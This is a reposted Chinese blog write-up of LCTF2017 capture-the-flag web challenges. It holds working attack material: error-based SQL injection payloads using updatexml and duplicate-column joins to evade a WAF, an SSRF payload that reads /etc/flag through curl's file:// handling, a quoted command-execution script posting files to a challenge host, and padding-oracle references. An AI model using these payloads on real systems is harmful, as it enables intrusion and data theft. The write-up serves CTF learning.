LCTF2017学到的姿势

转载

weixin_34187862 于 2017-11-20 20:04:00 发布 128 收藏
文章标签： php 密码学 数据库
原文链接：http://www.cnblogs.com/bay1/p/10982269.html

全程划水.....差距太大，姿势甚少
至于WP,官方已经给出LCTF2017
想主要记一下自己学到的东西

萌萌哒报名系统

源码泄露,看源码的部分在注册部分发现了以下代码
但是看到正则匹配根本没有想到会有漏洞，而是直接把关注点转向了str_shuffle()函数
加上搜索之后此函数的确可以预测,但是前提是有一定的输出进行后续随机的预测
但是这里...ennn.....太年轻啊。。。。
Pwnhub会员日一题引发的思考-伪随机数的安全问题

```
<?php
    $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
    ...
    preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
    if (count($matches) === 3 && $admin === $matches[0]) {
        echo "Success";
    } else {
        echo "False";
    }
```

赛后才知道大佬们思路有两种:

> 预期解法:pre_match在匹配的时候会消耗较大的资源，并且默认存在贪婪匹配，通过超长的字符可以导致php超时而后面的php语句就不会执行
> 非预期解法：条件竞争，这个利用的应该是属于逻辑漏洞，再验证Guest身份的时候是通过if ($sth->fetch()[0] === 'GUEST')
> 如果用户的身份不存在则取出来的值为NULL,即在执行插入身份之前登录，也可以绕过

其中条件竞争解法有师傅也讲出大线程也没跑出来，便想出加长code延长匹配时间来为登录争取时间
也是利用了pre_match的特性
登陆进去之后第二层则是一个伪协议读取文件

simple-blog

逃不掉的Padding oracle attack.....
至于原理云舒大大的
出题人写的也很不错初学padding-oracle-attack
web中的密码学攻击
学习了一波，其他的一些链接放在了末尾
然后是一个sprintf的注入php的sprintf函数

CBC字节翻转攻击

他们有什么秘密呢

> 这道注入题目，只能说注入的世界无穷大.....ennnnnn.....

直接尝试了一个报错注入,可以得到回显，但是这里WAF拦截了columns,database,schema等关键字或函数
然后，然后就没有然后了....没姿势

```
id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
```

赛后，看了大佬们的WP才知道,注入或许就是一个耐心的FUZZ过程，心态炸了....也没耐心去慢慢的FUZZ
亏我以前还特意搜集了一些注入姿势waf拦截了columns,database,schema等关键字或函数
好多姿势都是前辈们玩烂的了，我们还一无所知
首先可以利用 linestring()(为什么?FUZZ)函数报错得到表名和部分列名
然后由于过滤不能直接查询,可以利用Duplicate column name(**重复的字段**
)的方式來注入爆列名orange大大11年博文

```
select name from test where id=1 and (select * from (select * from test as a join test as b) as c)
select name from test where id=1 and (select * from (select * from test as a join test as b using(id)) as
#使用using(a,b,c)可以爆出除a，b，c以外的列名
```

这个的原理就是在使用别名的时候，表中不能出现相同的字段名，于是我们就利用join把表扩充成两份，在最后别名c的时候 查询到重复字段，就成功报错

```
mysql> select * from users;
+----+------+-----+
| id | name | age |
+----+------+-----+
|  1 | 八一 |  21 |
|  4 | 张三 |  10 |
+----+------+-----+
```

```
mysql> select * from users as a join users as b;
+----+------+-----+----+------+-----+
| id | name | age | id | name | age |
+----+------+-----+----+------+-----+
|  1 | 八一 |  21 |  1 | 八一 |  21 |
|  4 | 张三 |  10 |  1 | 八一 |  21 |
|  1 | 八一 |  21 |  4 | 张三 |  10 |
|  4 | 张三 |  10 |  4 | 张三 |  10 |
+----+------+-----+----+------+-----+
4 rows in set (0.00 sec)
```

然后查询具体的值2017-DDCTF-SQL注入之过滤列名get数据

然后第二关是一个命令执行,这里是七字符32C3 CTF Web题目的Writeup
贴上老外脚本

```
import requests
import re

url = "http://136.243.194.53/"
user_agent = "xxx"

t = requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"zzz.php", "content":"<?
[path] = re.findall('files.*/zzz.php', t)

requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash", "content":'xxx'})
requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash2", "content":'ls /'})
r = requests.get(url+path)

print r.text
```

前几天还有个4字符的....orzzz贴上学长链接

签到题目

这里直接贴官方考点:

> - 用file协议读取本地文件

- 绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件
- 截断url后面拼接的/, GET请求, 用?#都可以
  payload其实很简单: file://www.baidu.com/etc/flag?

```php
<?php
if(!$_GET['site']){
    echo <<<EOF
<html>
<body>
look source code:
<form action='' method='GET'>
<input type='submit' name='submit' />
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/>
</form>
</body>
</html>
EOF;
    die();
}

$url = $_GET['site'];
$url_schema = parse_url($url);
$host = $url_schema['host'];
$request_url = $url."/";

if ($host !== 'www.baidu.com'){
    die("wrong site");
}

$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);

if($res){
    echo "<h1>Source Code:</h1>";
    echo $request_url;
    echo "<hr />";
    echo htmlentities($res);
}else{
    echo "get source failed";
}

?>
```

其他

xss
ssrf_writeup

参考: mysql注入可报错时爆表名、字段名、库名
padding oracle attack详解
CBC字节反转攻击深入思考

转载于:https://www.cnblogs.com/bay1/p/10982269.html